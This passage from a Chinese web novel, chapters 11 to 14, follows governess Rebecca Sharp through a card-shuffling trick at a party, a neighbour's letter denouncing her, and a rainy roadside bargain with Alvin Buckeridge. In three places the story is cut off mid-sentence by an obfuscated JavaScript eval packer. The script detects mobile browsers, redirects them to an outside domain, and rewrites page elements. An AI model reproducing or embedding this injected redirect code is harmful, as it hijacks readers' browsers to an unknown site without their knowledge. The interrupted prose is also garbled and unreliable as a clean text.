好在她和布克德太太已经通过前两把熟悉起来，打起配合来，非常顺手，输的也没那么惨烈。 她也发现了一点儿端倪，每次轮到将军洗牌，情况都像飞快输掉的第一场牌，她们在他面前几乎毫无还手之力，于是她也不允许将军洗牌。 瑞蓓卡怀疑这是将军对她刚刚作弊的报复。 不然，一个身份贵重的将军，在这个赌注不大的局里，和她们两个女性打对家，干嘛犯得上出千？ 另外两位牌手，在她制止将军洗牌后，也看出端倪，纷纷嚷嚷着，让将军和她展示到底是如何洗牌的。 11. 第 11 章 另一边弹琴的年轻人和其他牌桌上的人，听到这边的动静，都跑来看热闹。 “首先你要记住自己需要的三张大牌。” 特纳将军随手将桌子上乱糟糟的牌抓起来，分成两份，对弹一次，又上下洗一次。 “夏普小姐，请你抽出第一张、第五张和第九张。” 瑞蓓卡伸出手，在将军充满笑意的眼神下，抽出三张牌。 果然，点数都很大。 “你演示得什么，叫人完全看不明白嘛，”布克德太太抱怨，“蓓姬，你看明白了吗？” “特纳将军大概故意不想让我们看明白，如果大家一下就能看懂，那岂不是人人都会使这招？”她盯着特纳将军，慢慢将三张牌插回去。 布克德太太要求将军再演示一遍，特纳将军把牌重新打散，铺在牌桌上，朝瑞蓓卡比了个“请”的姿势。 “现在轮到夏普小姐演示，如果你想学，可以让夏普小姐教你，她的方法比较简单。” 瑞蓓卡将她的方法展示一遍，无非是选中一张牌，放到最后，洗牌时用手指隔着那张牌，不要与其他牌混起来。 那张牌在她的刻意操控下，位置挪动几次，但洗完牌时，依旧位于最原来的位置。 “这么简单！我当时怎么没看出来？”布克德太太惊呼。 “因为我洗牌时，不停地说话转移大家的注意力，但刚刚演示的时候，没有说话，很容易被看出来。” “特纳将军擅长牌戏，会一点儿这样的技巧，一点也不叫人奇怪，可夏普小姐你是从哪里学得呢？寻常大家闺秀，很少有人拥有这种特殊本领。” 朗弗罗小姐对瑞蓓卡的意见很大。 刚刚她一直排队等着弹琴，好不容易快轮到她，大家却都跑来围着瑞蓓卡看，还是看这种下流把戏！ 本来她就很不赞成布克德太太让瑞蓓卡留下，这个长得一副精明模样的女人，一看就不怀好意，拿书只是个幌子，她就是想往上流社会挤。 瞧她把蒙默朗西家族的历史背得多顺啊，普通人谁会把素未谋面的外祖母家记得这么清楚？ 安分的家庭教师，怎么可能因为主人友好礼貌的挽留，赖在这个不属于她的社交场合不走？ 一直没怎么出声的特纳将军的女儿，听到朗弗罗小姐的话，也跟着附和，好像她懂赌牌的千术是犯了滔天大罪。 喜欢研究牌戏的布克德太太有些不高兴，正想替她说几句话，牌桌下的裙子忽然被她轻轻拉了两下。 瑞蓓卡理理手中的牌，没有看那两个人：“这种洗牌方法是我妈妈教我的，我妈妈小时候，常常与卡图法斯子爵（法语扑克牌的音译）玩牌，子爵常拿这种洗牌方式逗她，我妈妈便学会了，后来又把教给我。” “卡图法斯子爵！”布克德太太笑得前仰后合。 两个英法混血挤眉弄眼，哈哈大笑，剩下一群法语不好的人，不明所以。 “布克德太太，这有什么问题吗？” “没什么问题，我只是突然想起来一桩卡图法斯子爵的轶事，听说他迷恋扑克牌，以至于吃饭睡觉都要抱着副牌，干什么都离不开它……” 朗弗罗小姐和特纳小姐没能占到便宜，瑞蓓卡抛出了个无懈可击的答案，她们总不能去攻击瑞蓓卡的母亲和子爵吧？ 年轻人见没有热闹看了，纷纷散开，继续去弹琴唱歌或是聊天吃点心。 朗弗罗夫人在刚刚的牌局中，与特纳将军同一阵营，还没赢够，完全不在意眼下的小插曲，盯着瑞蓓卡手中的牌，意犹未尽。 “咱们下一把玩什么？” “先把前几局的帐给算了再说，我问你们两个，你们作弊的帐该怎么算？” 瞥见朗弗罗小姐还没走到钢琴跟儿前，瑞蓓卡立刻抢在将军前回答，她朝两位太太快速行礼：“尊敬的布克德太太，朗弗罗夫人，我愿意表演一曲，对我的不诚实做出道歉。” “特纳将军呢？” “我不擅长音乐，只能去帮夏普小姐翻琴谱，希望这能让两位上当受骗的太太们感到好一点儿。” “一点儿也不，你真会偷懒！” 恰好这个时候，仆人们送夜宵过来，布克德太太高兴起来：“你们现在就去弹，惩罚你们不许吃夜宵！” 将军站起身，朝她伸出胳膊，瑞蓓卡从善如流地挽上去。 钢琴边上的年轻人，见夜宵来了，都跑去吃夜宵，只剩几个人站在那儿。 朗弗罗小姐刚在琴凳上坐下。 她挑挑眉毛，十分挑衅地说：“朗弗罗小姐，我跟特纳将军，奉布克德太太的指令，立刻弹奏一曲，你该不会不给我这个向两位太太表达歉意的机会吧？” 挽着将军的胳膊给予她很大的底气，有种自己在罗姆塞社交界根基深厚的错觉，但她清楚地明白，她现在只是暂时取得地位最高的人的好感，狐假虎威而已，今夜还差一步才能大获全胜。 朗弗罗小姐不说话，坐在琴凳上一动不动，漂亮的黑眼睛愤怒地瞪着她。 “朗弗罗小姐，难道你不想来点儿夜宵吗？” 特纳将军的语气，像是大人看到两个孩子闹脾气打圆场，但话中的偏向很明显。 “好吧，先让夏普小姐弹，我吃完夜宵很快回来。”朗弗罗小姐不情不愿地离开了。 瑞蓓卡先唱一首法文歌炫技，但宾客们除了布克德太太和特纳将军外，并没有太大的反应，依旧是该吃东西吃东西，该聊天的继续聊天。 “将军，不劳烦您为我翻琴谱啦，您也去吃夜宵吧，我要弹几首民间小调。” “我没什么胃口，不如继续坐在这里，近距离聆听音乐。” 她又唱了好几首流行多年的通俗曲子，譬如《绿袖子》、《伦敦德里小调》、《樱桃树生长在远山上》…… 对于音乐行家来说，这些歌曲的调子和词作并不高明，但胜在歌词好理解，表达感情的手段直白浅显，人人都能听得懂。 流畅的钢琴声，舒缓轻柔的嗓音，娓娓地诉诸歌者感情，配合着一顿舒适的夜宵，让宾客们的稍有疲乏精神，得到极大的缓解，这简直是绝配。 一时间，起居 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918370|160310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 室里几乎没有半句杂音，客人们连搅动红茶都不敢用力，生怕发出叮当声打破这温馨的氛围。 “我心中怀着美好的愿望， 像苹果花在树枝上摇荡， 它飘落在你温柔的胸膛， …… 我愿像苹果鲜艳又芬芳 …… 我愿在玫瑰花丛中生长……” 起居室外，站在门口老打瞌睡的小女佣，不再频频点头，而是跟着音乐，轻轻地用手打拍子。 地下室的厨房里，厨娘和其他仆人，走到楼道里，一起欣赏起居室里的歌声，连女管家詹金森太太都听得眉飞色舞。 在瑞蓓卡到达诺斯菲尔德庄园的第七天，一封有关她的信，从邻居家寄到格罗夫纳广场。 “亲爱的阿尔文·布克德先生： 如果我在本信中言语有失，请见谅，事情实在太令人震惊。 蕾妮·布克德小姐的家庭教师夏普小姐，已于本月23日抵达，您的母亲与妹妹都对她十分满意。 但生活在罗姆塞的邻居们并不这样认为。 作为您母亲的友人，我们无意指责这个赤诚的朋友。 您的母亲爱憎分明，对于欣赏的人，总是竭尽全力抬爱，然而夏普小姐却不该不知进退，竟妄图借助您母亲的垂爱，跻身罗姆塞的上流社会，堂而皇之出现在各个社交场合。 试问准男爵夫人小姐，怎能与家庭教师享受一样的待遇？ 然而我们确实被这样粗鲁对待了。 夏普小姐自称是法国蒙默朗西家族后裔，根据《名流录》记载，这个家族应该已经绝嗣，她没有族徽、戒章等可以证明身份的物品，除了能说一口流利的法语，我们没看出她与寻常低贱的家庭教师有什么分别。 哦，我还忘记了一点，她要比寻常家庭教师轻浮张狂许多，初来乍到就引得特纳将军昏头转向，要知道特纳将军的妻子才去世不过一年，特纳小姐和特纳先生因此，也对夏普小姐非常有意见。 其实，罗姆塞的社交界被搅成一滩浑水，也没那么叫人难以忍耐，哪里没有汲汲营营往上爬的小人呢？更严重地是，她将教育您妹妹的本职抛之脑后。 您的母亲没有对这个小个子产生什么怀疑，甚至非常依赖她。 蒙默朗西家族与您外祖母的家族有姻亲关系，夏普小姐得以远房亲戚自居，抓住您母亲不喜欢打理俗务这点，光明正大插手诺斯菲尔德的管理。 小到佣人和厨房的管理、慈善活动、布克德太太私人信件的回复，大到下一季该种多少小麦、卖掉多少小马……再这样下去，我们很怀疑庄园是否要易主，否则我找不到更好的理由来解释，为什么夏普小姐不赶快催促将军结婚，而是忙着管理庄园。 总之，此人很大可能是个不怀好意、欺世盗名的骗子，我们非常担心布克德太太受到伤害，在此恳切地请您快点回来，拨乱反正。 否则，您的邻居们将不再涉足诺斯菲尔德庄园，没人愿意与夏普小姐相处。” 落款：您的邻居，准男爵朗弗罗一家。 12. 第 12 章 阿尔文决定回罗姆塞一趟。 算算日期，家庭教师才来一周，竟已获得母亲的信赖，做了这么多事，真是个不可小觑的家伙。 可惜算计到他母亲身上，她容易上当受骗，他可不一样，他倒要看看那个家伙到底是什么来头。 从伦敦到罗姆塞并不远，正常情况下两小时就能到。这条路上，有着数不清的城镇，更多的是一些小村庄，伊文顿便是其中之一。 每次回家，阿尔文都会短暂经过伊文顿，大约两三分钟，马车便能从村头驶到村尾。 他没想到，有一天被迫住在这个穷乡僻壤。 雨水来得又快又急，汇聚成雨幕，本就昏暗难以视物的夜晚，在雨幕的阻隔下，只能看见些浮动的色块。 车夫拉开门，站在车门另一边举着伞，不知是有意将伞向自己倾斜，还是没有把车门纳入雨伞覆盖范围的意识。 雨滴噼里啪啦地打在车门的内壁，画着清新花卉图案的白色羊皮内里，和浅紫色天鹅绒窗帘，用生命的代价洗了个雨水澡。 该死，这车夫难道不知道羊皮不能沾水、紫色容易脱色？怎么一点也没有保护主人的财富的意识？ 他伸手敲敲车门：“你已经淋了一路的雨，再多淋几滴雨，难道会立刻重病不起？即使还有空间，伞也不是给你这种人打的，看看这可怜的车门。” 车夫连声道歉，他没有理会，快速推开旅馆斑驳的大门，将雨声和车夫的连声抱歉，甩在身后。 旅馆里只有几个喝醉趴在桌子上的酒鬼，壁炉里的火奄奄一息，很安静，衬得前方的女声越发尖刻。 “两先令？墙上的小黑板上明明写着‘每晚一先令’！” “临时涨价了，小姐。” “你们是拿捏住天气不好、我没有马车，觉得不管你们开价多高，我都会住在这儿是吗？” “小姐，你说得太难听了，但我可以告诉你，你说得对！” 阿尔文笑了笑，店老板的行为可耻，但无可指摘，商人就是这个样子。 这位小姐独自出门时，难道没想到会碰到这种情况？她毕竟不是拥有自备马车和仆人的绅士，走到哪里都会被人高看两眼。 他可以笃定，如果是对他这样有钱有势还有帮手的先生，店老板肯定不敢坐地起价。 “那我也可以告诉你，你们打错了算盘！” 柜台前背对着他的矮小女人，愤愤不平地转身离去，被雨水打湿有些散开的深棕色盘发，跟着她的快速转身，在空气中甩出几滴水，砸到他脸上。 一股肥皂、薰衣草与杏仁的混合味道，随着雨水一同砸到他脸上，阿尔文觉得那股薰衣草味很熟悉，却又说不上来在哪儿闻过。 他下意识地去看那个女人。 旅馆里灯光昏暗，加上她经过他身边时速度很快，这短短的一瞬间，他只看见一双愤怒的绿眼睛，很大面积的绿、燃烧着的绿、没见过的绿。 砰的一声，女人拎着箱子夺门而出。 “这里就我一家旅馆，我不信你不回来！”店老板嘟囔几句，视线落到他身上，“几个人住？” 阿尔文还是第一次被人问这种问题，他愣了愣，才想起来自己的贴身男仆有事请假了，以前这种活儿都是男仆干。 没有男仆，订房间的活儿照理说该落到车夫身上，但那两个车夫明显没有这种自觉性，全部跑去停车了。 这个时候，阿尔文完全没意识到，他的行李非常多，必须要两个人搬运。 他还在心里为两个车夫记上一笔，打算等会儿跟他们算账。 小黑板上，只有单间的价格，没有套房，剩下的字全是菜单，他觉得都不用多问，这个地方肯定没有他想要的房间，但他必须住在这，雨这么大，马车肯定不能继续前进了。 “三个单间。” “六个先令，先生。” “不好意思，请问我是听错了吗？三个先令？” 阿尔文失声笑起来，他有马车又有仆人，外面的雨虽然大，但他依旧可以随时走，难道店老板觉得他像刚才的小姐一样，受他挟制？ “刚刚的小姐都不吃这套，你觉得我会买帐？我有马车，”他着重强调，“驷马快车。” 店老板伸出三个拇指，缓缓地说：“六先令，不议价。” 竟然敢敲诈一位绅士？阿尔文深吸一口气：“你会后悔的。” “这句话我原样还给你，你和那位小姐都会回来的。” 阿尔文推开门，怒火让他忘记屋外的大雨，差点径直走出去。 几滴雨水落在他脸上，带没有刚才的水滴的香味，只有一股土腥气，停放好马车的车夫，拎着马灯和行李刚好走到门口。 “快去驾车，到下一个村镇再住宿。哼，这个地方环境差、人也恶劣！” 雨似乎小了一些，马车再次上路，行驶得非常顺利，阿尔文靠在靠垫上，得意洋洋地说：“真不知道刚刚那个人凭什么这么笃定？雨水又不是他——” 话没说完，车身突然剧烈晃动，简直像是起飞了一样，他本人更是直接飞起来，差点撞到前一排车座的胡桃木壁板。 待车子停住稍稍平稳，他腾地站起来，原本向后梳得整整齐齐的头发，已经掉到额前，衣服也是乱糟糟的。 心中有种怒吼的冲动，但一看到自己这幅狼狈模样，他下意识地先将散乱的头发拨回去，用力抚平衣服上的褶皱。 待打理好自己的形象后，阿尔文才想起来发脾气，怒气冲冲地吼道：“怎么回事！” 刚刚除了听到自己摔到地上的声音，好像还有哗啦哗啦的水声，仿佛车子行驶在很深的水中，以及人掉下水的声音，这到底是什么鬼情况？ “布克德先生，皮尔森从马车上掉下去受伤了！” 车夫走到车窗玻璃附近，神色焦急不安：“刚刚看到前边有个水坑，我和皮尔森试图驱马过去，没想到水太深，里面还有石头，现在车子陷进泥里了。” 怎么会有这种事？他的车可从来没出过这样的问题。 阿尔文打开车门，想下车看看，一推开车门，水就往车厢里灌溉，惊得他忙抵上门。 水至少没过人的膝盖，附近的路都是平整的碎石子路，这儿也不是低洼，怎么会凭空跳出来个大坑？ 怪不得店老板刚刚这么笃定他会回去，原来是知道这里有个坑。 这个泥坑一定与那个开旅馆的乡巴佬有关，说不定就是他挖的！ “先生，皮尔森受伤了，我一个人无法驾驶马车，走出这段路，不如回去找人帮忙？” “可以。” 车夫正欲出发往回走，他突然想起件事，“等等，不要找旅馆的人帮忙。” 听到这话，车夫一脸为难的看着他：“旅馆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918371|160310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离这儿最近，如果不快点，马的蹄子越陷越深，那可就更糟了。” 阿尔文有些纠结，他想起自己新买的马莉莉丝，它刚刚从疾病中痊愈。这样拖延下去，会不会有不好的影响？ 但他又不想让旅店老板得逞， 正犹豫着，车夫忽然说：“后面好像有人来了。” “太好了，你快去找他帮忙，不用回到村子里。” “先生，她是一个女人，看上去很瘦很矮，恐怕不一定有力气赶车” “女人？我都雇佣你们两个不长眼睛的家伙赶车了，女人怎么就不能赶车？不是说村子里的女人也会驾车吗？快去找她帮忙。” 车夫有些不情不愿地走了，留下受伤的皮尔森，他坐在水坑边的地上，脸色十分难看：“好心的布克德先生，请您发发善心，让我坐到车子里吧。” 阿尔文有些为难：“不行，你身上都是水和泥土，但是我允许你靠在车的外面。” 皮尔森看看马车的外部情况，他要过去靠在车上，就得泡在水里，还不如现在这样坐在水坑旁边的石子路上。 没过多久，派去请人帮忙的车夫回来了。 “先生，那位小姐说，如果需要帮助，请马车的主人与她对话，她现在就站在马车后面。” 他觉得自己快被气死了，一个村妇怎么敢对他提这么多要求，这个叫什么顿的地方真是见鬼！ “先生，她不是普通人，而是一位淑女，看起来出身良好。” 车夫生怕主人发脾气，不愿意让她帮忙，忙解释此女为何如此有傲气，必须要马车主人亲自请她帮忙。 阿尔文当然明白车夫的意思，反复深吸几口气，告诉自己：这是请人帮助的必要礼节，很合理，不要动怒，不要动怒，就当是为了那匹马。 压下心中的怒火，他打开车门，一脚踩进泥坑里。 浑浊的泥水瞬间灌进他的黑森靴里，裤子也被泥水打湿，湿漉漉地贴在腿上，他艰难地转过身，在泥水中朝那个所谓的淑女走去。 女人站在石子路上，看着他狼狈的模样，一副快忍不住笑的样子。 隔着淅淅沥沥的雨水，他压根看不清那女人的表情，但不知道为什么，他就是知道她在笑。 强忍着鞋子与裤子的不适，阿尔文走到她身边，他发现这人就是刚刚在旅馆碰到的那位小姐，这次他看清楚了她的长相和打扮。 很讨巧的长相。 阿尔文见过的漂亮女人很多，这位小姐在他见过的人里，并不算最漂亮的。 但他不得不承认，她小小的脸蛋和灵动的大眼睛，带来的视觉冲击确实很强，以至于他都无法注意她的鼻子和嘴巴长什么样子。 刚刚车夫说她是一位淑女时，他还不相信，现在见到她，他发现车夫说得竟然没错。 她长得一点儿也不像这个破地方的人，穿得更是夸张。 这样的雨天里，她竟穿着件堪称隆重的低胸薄纱礼服，外面裹着件只到胃部的短外套，头发和裙摆都湿漉漉地，狼狈又华丽。 拼命控制着想跺跺脚甩甩水的冲动，阿尔文拿出在游走于上流社会时的社交面具，微笑着说：“小姐，我的一个车夫受伤了，你能帮我赶车，让马快点离开泥坑吗？” “五英镑。” 像是午夜钟声响起不得不逃离舞会的灰姑娘一样的绿眼睛小姐，笑眯眯地说。 13. 第 13 章 今日是瑞蓓卡期待已久的大日子。 说是期待已久，其实从她知道自己要去温彻斯特到现在，也不过才两天。 为筹集资金修葺本郡的济贫院，温彻斯特侯爵夫人租下市政厅的大会堂，邀请本郡所有名流前去参加义卖会，罗姆塞的布克德太太和朗弗罗夫人，也在受邀之列。 布克德太太从前天就告诉她，要带她去见见世面，可惜今早临出门时，布克德太太忽然开始牙痛，她不得不跟着邻居朗弗罗家的马车，前往温彻斯特。 瑞蓓卡讨厌朗弗罗一家，这家人空有个准男爵封号，实际上已经落魄，连诺斯菲尔德庄园都卖掉了，却还好摆架子。 朗弗罗先生靠着布克德太太获得神职，借此谋生，但朗弗罗夫人大概是厌恶了牧师宅邸的逼仄，想搬到特纳将军宽敞的大宅子去，对丧妻的特纳将军格外地殷勤。 她在那晚聚会以后，一直很受到将军的优待，朗弗罗夫人便拿她当对手一般。 真是可笑，她可一点儿没有当两个成年人继母的想法。 朗弗罗小姐则像个侦探，时时刻刻怀疑她的出身，怀疑她的动机，每次见面都少不了冷嘲热讽和试探。 这次前往温彻斯特的路上，也是如此。 瑞蓓卡才不会被牵着鼻子走，她明里暗里，指出这辆马车太旧、太颠簸，嘲讽朗弗罗小姐家窘迫的经济状况。 或许是这个举动惹恼了朗弗罗小姐，也可能是她在义卖会上最快卖完商品，获得侯爵夫人青睐，让朗弗罗小姐嫉妒。 临要回罗姆塞时，朗弗罗小姐突然告诉她，义卖会上遇到的亲戚邀请她们去伦敦住几天。 总之，她不能再乘坐朗弗罗家的马车回去了。 那时候天色已经有些昏暗，在住一晚和连夜乘坐公共马车回去之间，瑞蓓卡选择了花费更少的后者。 不知道是她运气不好，还是她与公共马车合不来，这次乘坐马车，又只剩下车厢顶部的座位。 更惨的是，她刚刚付完钱，费劲爬上车厢顶部，天空开始下起小雨。 坐在车顶的人，看见她穿着纱裙和只到胃部那么长的短外套，差点惊掉下巴。 一个大学生模样的年轻人，抱着很多厚皮毛衣服，非常殷勤地把衣服盖在她身上，遮挡风雨。 起初，雨势不大，皮毛衣服发挥了很大作用，慢慢地，雨势变得特别急，简直要将她全身浇透！ 瑞蓓卡不得不在伊文顿提前下车。 猜想这个偏僻村庄的旅馆价格应该不高，她决定在这儿住一晚，没想到旅馆老板见她孤身一人，竟然坐地起价。 真倒霉！怎么今天能这么倒霉？ 她推开旅馆大门冲出去。 大雨劈头盖脸，立刻将她淋湿，冰冷的雨水暂时熄灭她的怒火。 打了个哆嗦，缩回到屋檐下，她紧贴着墙壁，走向离这儿最近的亮着灯的一户人家。 瑞蓓卡被告知，下一个镇子，距离伊文顿只有两英里。 她决定步行前往下一个镇子再住宿。 那家人见雨势这么大，好心地要给她一把伞。 瑞蓓卡觉得这很没必要，她已经被雨水浇透了，再打伞有什么用？ 但那家人把伞递到手上时，她也没拒绝。 沿着村子里唯一的石子路，走了大概七八分钟，差不多在刚刚走出村子时，她迎面遇到一个穿着黄色号衣戴假发的车夫。 车夫的表情很焦灼：“这位小姐，我家主人想请您帮个忙？不知道您会不会驾车？我们的车陷进泥坑里了，另一个车夫受伤不能驾车，我一个人无法驱赶四匹马。” “马车是你的吗？” “当然不是。”车夫不明白她为什么明知故问。 “那就让马车的主人亲自跟我说。” 车夫为难地看着她，她轻咳两声，伸手抖抖裙摆上的水，借机让对方看清她这条裙子的料子，印度来的薄纱，不是什么便宜货色，她可是有身份地位的人。 “我没有跟车夫对话的习惯，如果你不想去请你的主人来，也就不必再试图说什么来请我帮忙。” 说完，她接着往前走，走了几步，看清楚了那辆马车。 四匹油光水滑的深黑色良种马，站在水坑里，最右边的那匹马似乎稍微羸弱一些，最新款的翠轼①一旁，有个车夫坐在地上。 配齐这样一辆马车，至少要六百镑，每年养马和养护马车的费用得要三百镑。 拥有这样豪华的马车，当然还要住在相匹配的的房子里，一切都得要配套。 马车主人就算没有结婚，不需要养一大家人，年收入也得两千镑起步。 这样富贵的人家，如果对她礼貌些，有结交的意思，她或许会愿意让裙子鞋子泡进烂泥里，帮他一个忙？ 正这样想着，刚刚那个车夫不知怎么想明白，一路小跑回来，赶在她绕过马车离开前，跑到马车车窗那儿，跟主人说着什么。 咔哒，车门被打开，一个年轻男人探出身，走出马车，踩着泥水，皱着眉毛朝她走来。 他穿着时下最流行的蓝外套、黑森靴，身材修长，双腿笔直，每一步行走，都踩得很用力。 似乎在努力地找回一点儿派头，想让踩泥坑这件事，表现得不那么难堪。 马车主人没有向她行礼，看到她裙摆上的泥点时，浅得有点发灰像一个玻璃球的蓝眼睛，闪过一丝轻蔑。 右眼的眼眶上卡着个单片眼镜，看不出什么，里面的情绪大概不会超出“轻蔑”的近义词的范围。 他觉得他的情况比她好很多吗？ 她刚刚可是看到了，泥水有他的膝盖那么高，她敢打赌，水一定灌进了他的靴子，他现在估计快要难受死了，却还有功夫嫌弃她？ “小姐，我的一个车夫受伤了，你能帮我赶车，让马快点离开泥坑吗？” “五英镑。” 瑞蓓卡非常理所当然。 虽然她刚刚还因为旅馆老板趁人之危坐地起价的行为生气，但她转头开出这个天价时，半点负罪感都没有。 对方既不介绍自己的身份 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918372|160310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，也不询问她的名字，态度也完全没有一点有求于人的样子，对待没礼貌且不尊重她的人，她向来是没什么同理心的。 那位没礼貌的先生，被她的举动震惊，蓝灰色的眼睛短暂一滞。 没过多久，他缓过神来，毫不掩饰他的视线，将她从头到脚打量一番，似乎想从她身上找到一点儿她这样做的原因。 瑞蓓卡解释道：“你也看到我的打扮了，想走到驾车的位置，躲不过这个泥坑。我身上的印度薄纱、木质套鞋里的真丝鞋子，都不耐脏、不耐洗，想让我牺牲裙子和鞋子，你总得付出些代价吧？” “哼，我的车夫说你是个淑女，淑女可不会在助人为乐之余收取报酬，心疼衣服心疼鞋子。” 阿尔文冷笑一声，他是不了解女士服饰的行情，不过他知道一双极佳的男士皮鞋，也才卖几先令。 这个女人不仅不是淑女，还是个骗子。 五英镑？ 她还真有勇气开出这个价格，这和敲诈勒索有什么区别？ 她抱怨他让她牺牲衣服和鞋子，可是谁又知道她是从哪弄来这些东西？会不会也是像现在这样，趁人之危赚来的？ 他习惯地摸着小拇指上的戒指，沉吟道：“你打扮得挺入时，一张口就立刻暴露了你的阶级，狡诈无耻，满身下等人的气息。” “我是什么人，与你无关。我没必要把自己装得很高尚，不在意金钱也要帮你，也没有讨好你的必要，咱们只是陌生人。” 瑞蓓卡感到很不舒服，他用一种怪怪地眼神看着她，好像在看下水道的老鼠，又好像在看什么奇特的东西。 她伸伸手，做出请的姿势：“如果你觉得我提出的价格不合理，你可以继续让车夫回到村子，找人帮忙。” 他没有说话 “第一排右边的那匹马，看上去情况似乎不妙，继续在水里泡一会儿，它可能就要跑不动了。到时候即使你的车夫找到人帮忙，也很难办。不过我猜，我这样说完，你更不愿意答应我了。” 她会心一笑：“我了解你们这些人，有时候宁愿牺牲价值一百英镑的马，也不愿意支付五英镑，受一个下等人挟制。” “小姐，你说的很对，但有两处错误。” “一，我不是你口中的那种傻子，为了面子，做出损害自己利益的事，正因为我不是傻子，我也不愿意被你的言语引导。” “你要记住，付给你钱，是我自己的意愿，不是因为你的花言巧语，这只是个暂时地让步，再见面的时候，我会让你后悔的。” 阿尔文很不甘心，但那个小个子女人看穿并拿捏住了他的软肋，他只能自认倒霉。 可惜这个小地方不是他的地盘，如果在伦敦或罗姆塞，遇到她，他一定给这个敲诈勒索犯点颜色瞧瞧。 对于他的放狠话，瑞蓓卡毫不在意。 失败者放狠话，除了失败者本人能感受到这些话的分量与恨意，往往无人在意。 她只想快点拿到钱。 “那就等我们再见面的时候再说吧。” 14. 第 14 章 “二，那匹马，莉莉丝，确实很贵，但不是一百英镑，而是两百镑三先令，我刚从马行拍下它不久。” 瑞蓓卡有点想笑，刚刚他还说她对钱斤斤计较，一股下等人气息，他自己倒是把一匹马的价格记得这么清楚。 “拿支票来。” 男人用食指和中指夹住支票本，另一只手握住羽毛笔，飞快地写下一串花体字。 他的手指修长而笔直，肤色极白，皮肤很薄，在月光下几乎透明，能清楚地看见淡青色的血管脉络，凸出的指骨微微发红。 他应该是极瘦的，骨骼格外凸出，像是刚刚结束飞快生长的发育期，那至少有六英尺（183）的个头，是有力佐证。 宽大的棕色旅行风衣，穿在他身上，只是堪堪刚好撑起来，似乎全靠骨架挂着，但就他穿着靴子的双腿，可以看出，他的肌肉薄而适度，并非身上没有一点儿肉。 浅金色短发整齐地往后梳着，右眼戴单片眼镜，蓝灰色眼珠的颜色更淡了。 他安静下来的时候，看上去和刚刚在公共马车上给她献殷勤的大学生，没什么区别。 都是一样的温文尔雅的长相，至多二十岁，像个学生。 可惜张口闭口上等人、下等人，不友善，还啰嗦，让她觉得很割裂。 她从那双很好看的手里，接过支票，上面赫然写着支票账户主人的名字：阿尔文·布克德。 阿尔文付给她钱之后，才想到一件事，他有些怀疑地看向她：“你会驾车吗？” 后者没有回答，眉头紧皱，盯着支票看起来没完。 瑞蓓卡陷入巨大的震惊中，他竟然是布克德太太的儿子？ 她现在把支票还给他，还有用吗？ 还是说，她直接别回去了，拎着箱子走人吧？ 看见她古怪的神色，阿尔文更加怀疑了，眯起双眼：“你别告诉我你不会驾车？” 瑞蓓卡深吸一口气，将支票塞进手袋里，热情地笑着说：“我的骑术很好。” “这根本是两码事！” “骑马是驾驭马，驾车不也是驾驭马吗？相信我，我可以的。”瑞蓓卡冲他眨眨眼睛。 车夫走在前面带路，她放下伞，双手拎起裙子，衬裙和穿着丝袜的一节小腿，骤然暴露在外，夜里的丝丝冷气，立刻附在她的皮肤上。 双腿深入泥坑，接触到泥水的瞬间，她打了个哆嗦，恨不得立刻跑到马车车头去。 但她还是想保住这双鞋子，只能缓慢地在泥坑里挪动，生怕动作幅度太大，鞋子拔不出来，陷在泥里。 没想到越怕什么越发生什么。 好不容易拔出右脚，套鞋却陷进了泥里，失去套鞋的保护，里面那双真丝的鞋子算是废了。 这样一来，她更不想放弃陷进泥里的木质套鞋，更加增添自己的损失。 她转过身，努力地用脚去碰那只鞋子，眼睛却被什么光亮一晃。 顺着望过去，却看到阿尔文站在原地，脸色微微泛粉，玻璃珠样的眼睛，像是蒙上一层粼粼的水光。 原来刚刚的光，是镜片将月光反射到她脸上。 阿尔文感到面部、耳朵都在发热。 他知道自己现在一定窘极了，他不仅长得白，皮肤还薄，脸红压根藏不住。 她是疯了吧？她确实得罪了他，她的下等人身份也被他看穿，即使他们没机会再见，她也不能一点礼节都不顾吧，竟那么堂而皇之地在男人面前露腿？ 难道那条薄纱裙就这么重要，值得她这么做？ 她不害羞吗？ 阿尔文知道，她肯定是不害羞的，不然也不会这么做。 看来她是真的很穷，他已经支付赔偿她裙子的钱，她还这么努力地想保住裙子。 他突然明白，为什么有人会真心实意做慈善，穷人真的挺可怜的， 忽然，他有些唾弃自己。他干嘛可怜她？她压根没穷到这个地步吧，她这么窘迫完全是因为贪婪！ “作为一名绅士，您该转过身，不是吗？”见到他的模样，她似乎很得意，笑嘻嘻地说。 阿尔文平生第一次这么厌恨自己的肤色，厌恨他难以控制的情绪。 有双绿眼睛，就这么了不起，竟能轻易博得他的喜欢？ 那在马车阴影下根本看不清的腿，到底有什么吸引力，足以使得他脸红？ 